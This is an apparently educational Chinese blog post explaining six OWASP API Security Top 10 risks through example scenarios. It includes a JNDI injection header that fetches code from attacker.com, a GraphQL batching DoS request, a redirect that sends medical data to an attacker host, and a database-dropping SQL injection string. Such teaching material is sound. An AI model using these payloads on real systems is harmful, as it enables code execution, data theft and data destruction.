OWASP API Architecture Security

發佈日期: 作者:

OWASP Top 10 API Security是由全球知名的非營利資安組織 OWASP 所統整發布的指南，列出了目前現代 API 架構中最常見、最具破壞力的十大安全風險。而和架構、營運與業務邏輯 (API 4, 6, 7, 8, 9, 10)相關的有：安全設定錯誤，資源消耗不受限，SSRF，不安全地消耗 API，對敏感業務流程的無限制存取，不當的清單管理。

這一類型的漏洞，其根本原因通常不是因為「權限被繞過」。即使是一個擁有完全合法權限的使用者，只要 API 在架構設計、系統設定或與外界互動的環節有缺陷，就會引發這些漏洞。我們可以將這類再細分為三個面向來理解：

1. 系統設定與基礎設施管理

  • API8:2023 (安全設定錯誤,Security Misconfiguration)： 關注的是伺服器與網路環境的體質是否健康，例如有沒有關閉不必要的功能、有沒有加密連線、設定檔是否安全等。
  • API4:2023 (資源消耗不受限,Unrestricted Resource Consumption)： 關注的是系統的「胃口」有沒有被限制。如果沒有限制使用者請求的記憶體、運算量或第三方服務的花費，就會導致伺服器癱瘓 (DoS) 或成本暴增。

2. 營運管理與業務邏輯設計

  • API6:2023 (對敏感業務流程的無限制存取,Unrestricted Access to Sensitive Business Flows)： API 在技術上可能毫無破綻，但「商業邏輯」被機器人自動化腳本惡意濫用（例如黃牛搶票、大量洗推薦金），導致正常用戶無法使用，損害企業商業利益。
  • API9:2023 (不當的清單管理,Improper Inventory Management )： 這是 IT 營運管理的盲點。企業如果沒有管理好自己的 API 資產，讓忘記關閉的舊版 API、測試機或是未受監控的第三方資料流持續暴露在外，就會成為攻擊者輕鬆潛入的後門。

3. 外部網路與第三方信任整合

  • API7:2023 (伺服器端請求偽造,SSRF)： API 如果輕信了使用者提供的 URL 去抓取資源，就會被攻擊者當作跳板，反過來攻擊被防火牆保護的內部網路。
  • API10:2023 (不安全地消耗 API,Unsafe Consumption of APIs)： 這是反向的信任危機。API 開發者過度信任「第三方 API (如其他廠商的服務)」傳回的資料，沒做過濾就直接使用，導致目標系統反而被惡意資料（例如包含 SQL 注入的惡意字串）攻擊。

Security Misconfiguration

這個漏洞可以發生在 API 架構的任何層級，從底層的網路層一直到最上層的應用程式層。當系統缺乏適當的安全強化、未套用最新的安全修補程式、使用了不安全的預設設定，或是開啟了不必要的功能（例如多餘的 HTTP 方法或日誌功能）時，就會產生這個漏洞。

這類漏洞在實務上十分普遍，且通常很容易被自動化工具發現與利用。攻擊者會尋找未修補的缺陷、常見的預設端點或未受保護的檔案目錄。這不僅會導致使用者的機敏資料外洩，甚至可能暴露系統細節，讓攻擊者完全接管伺服器。

攻擊範例

範例一：第三方日誌工具的不安全預設設定（導致遠端程式碼執行）

  • 情境背景： 一個 API 後端伺服器使用了一款受歡迎的開源日誌工具來記錄使用者的請求（例如記錄 API 版本和路徑）。然而，這個日誌工具預設開啟了「佔位符展開 (placeholder expansion)」與「JNDI 查詢」功能。
  • 漏洞解釋： 攻擊者發現了這個情況，便在發送 API 請求時，刻意在 HTTP 標頭（例如 X-Api-Version）中夾帶了一段惡意的指令碼。當伺服器的日誌工具試圖把這段標頭寫入日誌檔並「展開」數值時，意外觸發了 JNDI 查詢。由於伺服器的對外網路政策過於寬鬆，日誌工具便連線到攻擊者控制的遠端伺服器，下載並執行了惡意的程式碼（這非常類似知名的 Log4j 漏洞）。
GET /health
X-Api-Version: ${jndi:ldap://attacker.com/Malicious.class}

範例二：缺少快取控制指令導致私密訊息外洩

  • 情境背景： 某社群網站提供「私訊 (Direct Message)」功能，使用者的瀏覽器會自動在背景呼叫 API 來抓取新的私人對話。
  • 漏洞解釋： 開發人員在設定這個 API 時，忘記在 HTTP 回應標頭中加上 Cache-Control（快取控制）指令。因為沒有明確指示「不要快取」，使用者的網頁瀏覽器便依照預設行為，把這些高度機密的私訊內容自動暫存（Cache）在電腦硬碟的暫存資料夾中。這讓惡意攻擊者有機會直接從電腦本機的瀏覽器暫存檔裡，將私密對話全部竊取出來。

Unrestricted Resource Consumption

資源消耗不受限，這個漏洞是API 在處理使用者的請求時，必然會消耗各式各樣的資源，包含網路頻寬、CPU、記憶體、儲存空間，甚至是需要按次計費的第三方服務整合（例如發送簡訊、電子郵件或生物辨識驗證）。

如果 API 沒有針對客戶端的互動頻率或資源請求量設定適當的限制（例如：缺少執行逾時設定、沒有限制最大上傳檔案大小、未限制單一請求的操作次數，或沒設定第三方服務的支出上限），就存在此漏洞。攻擊者可以透過發送特定的 API 請求，導致伺服器資源耗盡而引發阻斷服務攻擊 (DoS)，或是讓基礎設施與第三方服務的營運成本急遽增加

攻擊範例

範例一：濫用簡訊服務導致巨額財務損失

  • 情境背景： 某社群網路的「忘記密碼」功能會透過後端呼叫一個第三方的簡訊服務 來發送驗證碼，而該第三方服務每次發送會收取 0.05 美元的費用。
  • 漏洞解釋： 攻擊者撰寫了一個腳本，在短時間內向 API 發送了數萬次「忘記密碼」的請求。由於 API 沒有對此操作設定適當的頻率限制，後端系統便跟著向第三方服務發出了數萬次的簡訊發送請求，導致這間公司在短短幾分鐘內就損失了數千美元。

範例二：利用 GraphQL 批次處理耗盡伺服器記憶體 (DoS)

  • 情境背景： 某個允許使用者上傳大頭貼的 GraphQL API，在上傳後會進行耗費大量記憶體的「產生縮圖」圖形處理作業。開發者雖然設定了傳統的 API 速率限制（不能在短時間內頻繁呼叫端點），也限制了上傳圖片的大小。如下 
POST /graphql

{
  "query": "mutation {
    uploadPic(name: \"pic1\", base64_pic: \"R0FOIEFOR0xJVA…\") {
      url
    }
  }"
}
  • 漏洞解釋： 攻擊者利用了 GraphQL 允許「批次處理」的靈活特性，在單一一個 API 請求中，同時夾帶了極大量的「上傳圖片」操作。因為 API 只有限制「請求次數」，卻沒有限制「單一請求內包含的操作數量」，伺服器在收到這個請求後，會試圖同時執行大量的圖片處理作業，瞬間耗盡伺服器記憶體，最終導致服務中斷 (DoS)。
POST /graphql

[
  {"query": "mutation {uploadPic(name: \"pic1\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"},
  {"query": "mutation {uploadPic(name: \"pic2\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"},
  ...
  {"query": "mutation {uploadPic(name: \"pic999\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"},
}

Unrestricted Access to Sensitive Business Flows

對敏感業務流程的無限制存取，它的核心不在於技術層面的缺陷（例如權限被繞過或伺服器被搞垮），而是攻擊者針對應用程式背後的「商業模式」或「業務邏輯」進行濫用。當 API 暴露出一些敏感的業務流程（例如購買商品、發表評論、預訂座位等），卻沒有適當限制存取時，攻擊者就能利用自動化腳本（機器人）企業的商業利益受損、正常使用者無法獲得服務，或是遊戲/平台內部的經濟體系通貨膨脹。

攻擊範例

來源中提供了三個生動的商業邏輯濫用範例：

範例一：黃牛機器人秒殺限量商品（購買流程濫用）

  • 情境背景： 某科技公司宣布在感恩節發售一款需求極高、庫存有限的新款遊戲機。
  • 漏洞解釋： 攻擊者寫了自動化腳本，並分散在多個 IP 位址和地點執行。因為該電商的 API 缺乏防範自動化威脅的機制，攻擊者的機器人在開賣瞬間就「合法地」買光了大部分的庫存，導致一般正常用戶根本買不到。隨後，攻擊者再到其他平台上以極高價格轉售（黃牛行為）來牟取暴利。

範例二：惡意佔位操縱機票價格（預訂流程濫用）

  • 情境背景： 某航空公司提供「免手續費取消」的線上購票服務。
  • 漏洞解釋： 一位有惡意的使用者利用這個退票機制，事先訂下了某個熱門航班 90% 的座位。到了起飛前幾天，他一口氣把所有機票全部取消。航空公司眼看飛機即將空著起飛，系統便被迫大幅調降票價來促銷。這時，這位惡意使用者就能以極便宜的價格買下自己真正要搭的那張機票。

範例三：無限洗刷推薦獎勵（註冊與推薦流程濫用）

  • 情境背景： 某叫車 App 推出推薦計畫，使用者只要邀請朋友加入註冊，雙方都能獲得可用於搭車的點數或回饋金。
  • 漏洞解釋： 攻擊者看準這個業務流程，寫了一支腳本來全自動化執行「註冊新帳號」的動作。腳本每註冊一個假帳號，攻擊者的主帳號錢包就能獲得一筆推薦點數。攻擊者不用花任何成本，就能源源不絕地賺取免費搭車金，甚至能把這個充滿點數的帳號直接折現賣給其他人。

Improper Inventory Management

不當的清單管理是現代微服務架構中常面臨的管理難題。隨著微服務等現代技術讓應用程式的部署變得容易且獨立，系統中經常會出現毫無必要地暴露在外的 API 主機。當開發團隊缺乏完善的資產清單與舊版系統的淘汰策略時，攻擊者就能趁機透過那些被遺忘、未修補或安全性較弱的舊版 API 端點取得未經授權的存取權限。

這個漏洞主要涵蓋 API 管理上的兩種「盲點」：

  • 文件盲點 (Documentation blindspot)： 開發團隊不清楚某個 API 主機的確切用途與運行環境（是測試機還是正式機？）、沒有限制誰可以存取、缺乏更新的文件，或是舊版本 API 根本沒有制定下線淘汰計畫。
  • 資料流盲點 (Data flow blindspot)： 當 API 與第三方服務交換敏感資料時，缺乏業務上的正當性、沒有把資料流向記錄在清單中，或是不清楚究竟分享了哪些敏感資料。

一旦攻擊者利用這些盲點，可能會導致敏感資料外洩，甚至讓伺服器遭到完全接管。

攻擊範例

範例一：忘記防護測試版 API (利用文件盲點)

  • 情境背景： 某社群網路為了防止駭客暴力破解使用者的「重設密碼 6 位數驗證碼」，在官方 API (api.socialnetwork...) 前端實作了嚴格的速率限制。
  • 漏洞解釋： 這個防護機制並不是寫在 API 程式碼本身，而是架設在官方入口處。攻擊者在網路上探索時，發現了一個被遺忘的 Beta 測試版 API 主機 (beta.api.socialnetwork...)。這個測試主機與正式版連接了相同的真實資料庫，但卻沒有架設速率限制機制。因此，攻擊者能直接對這個 Beta 端點發動暴力破解，輕易猜出驗證碼並重設任何人的密碼。這凸顯了舊版或測試版 API 若未受到妥善管理與保護，將成為系統的致命後門。

範例二：失控的第三方資料擴散 (利用資料流盲點)

  • 情境背景： 某社群網路允許獨立開發者的 App 與其整合。當使用者點擊同意後，社群網路就會把使用者的個資分享給該 App。
  • 漏洞解釋： 這個 API 的漏洞在於，社群網路與第三方 App 之間的「資料流」缺乏嚴格的限制與監控。一間顧問公司上架了一款惡意 App，雖然只合法取得了 27 萬名使用者的授權，但因為 API 未限制資料範圍，這款 App 竟然能連帶讀取這 27 萬人「所有朋友」的私人資訊。最終，這間顧問公司利用這個資料流漏洞，一口氣竊取了 5,000 萬名使用者的私密資料並轉賣牟利。（這個情境非常類似現實中知名的劍橋分析隱私外洩事件）。

Server-Side Request Forgery

當 API 在未驗證使用者提供的 URL 的情況下，就去抓取遠端資源時，就會發生 SSRF 漏洞。這個漏洞會讓攻擊者能強迫應用程式（伺服器）發送一個經過特殊設計的請求到非預期的目的地，即使該目的地受到防火牆或 VPN 的保護也能被穿透。

在現代應用程式開發中，因為經常會要求開發者根據使用者的輸入去存取外部資源（例如：Webhooks、從 URL 抓取檔案、自訂 SSO 或 URL 預覽），使得 SSRF 變得更加普遍。同時，由於雲端服務商、Kubernetes 和 Docker 通常會在可預測的 HTTP 路徑上暴露管理和控制通道，這些內部通道成為了 SSRF 攻擊極易得手的目標，也讓此漏洞變得更加危險。

相關說明可參考

SSRF

Unsafe Consumption of APIs

在現代軟體架構中，開發人員通常會對「一般使用者」輸入的資料保持警覺，但卻往往過度信任來自「第三方 API 或外部服務」的回傳資料。開發人員可能會預設這些知名公司的 API 是安全的，因此在介接時採用了較弱的安全標準（例如沒有對回傳資料做驗證與清理、沒有設定連線加密，或是盲目跟隨重新導向）。

如果攻擊者成功鎖定並攻破（或操弄）了目標系統所介接的第三方服務，目標 API 就會在毫無防備的情況下吞下這些惡意資料，進而導致敏感資訊外洩、各種注入攻擊 (Injection) 甚至是阻斷服務 (DoS)。

攻擊情境

範例一：透過第三方服務借刀殺人的 SQL 注入

  • 情境背景： 某個 API 會把使用者輸入的商業地址，送到第三方服務去進行「資料擴充 (enrich)」，接著把第三方服務回傳的詳細資料存進自己的本地 SQL 資料庫裡。
  • 漏洞解釋： 攻擊者先跑到那個第三方服務上，建立一個帶有「SQL 注入惡意程式碼 (SQLi payload)」的商業資料。接著，攻擊者讓目標 API 去向第三方服務拉取這筆惡意資料。因為目標 API 盲目信任第三方傳來的資料，沒有做過濾就直接寫入資料庫，最終導致目標系統的資料庫執行了惡意指令，將資料外洩給攻擊者。

範例二：盲目跟隨「重新導向」導致醫療個資外洩

  • 情境背景： 某 API 負責將使用者的敏感醫療資訊，透過安全的連線傳送到一個第三方儲存服務。如下
POST /user/store_phr_record
{
  "genome": "ACTAGTAG__TTGADDAAIICCTT…"
}
  • 漏洞解釋： 攻擊者找到了攻破該第三方 API 的方法，並將其設定為對先前的請求回傳 308 永久重新導向 (Permanent Redirect)，而導向的目的地是攻擊者控制的伺服器。因為目標 API 的開發者設定了「盲目跟隨重新導向」，系統收到 308 回應後，如下。便乖乖地把包含敏感醫療資訊的原始請求，原封不動地發送給了攻擊者的伺服器，造成嚴重個資外洩。
HTTP/1.1 308 Permanent Redirect
Location: https://attacker.com/

範例三：惡意 Git 儲存庫名稱引發的 SQL 注入

  • 情境背景與解釋： 攻擊者建立了一個名字非常奇怪的 Git 儲存庫，名稱叫做 '; drop db;--（這是一段會刪除資料庫的 SQL 語法）。當某個應用程式透過 API 與這個惡意儲存庫整合時，應用程式天真地以為「儲存庫的名稱絕對是安全的輸入」，於是直接把它組裝進 SQL 查詢語句中。結果這串看似名稱的惡意代碼就被當作 SQL 指令執行了。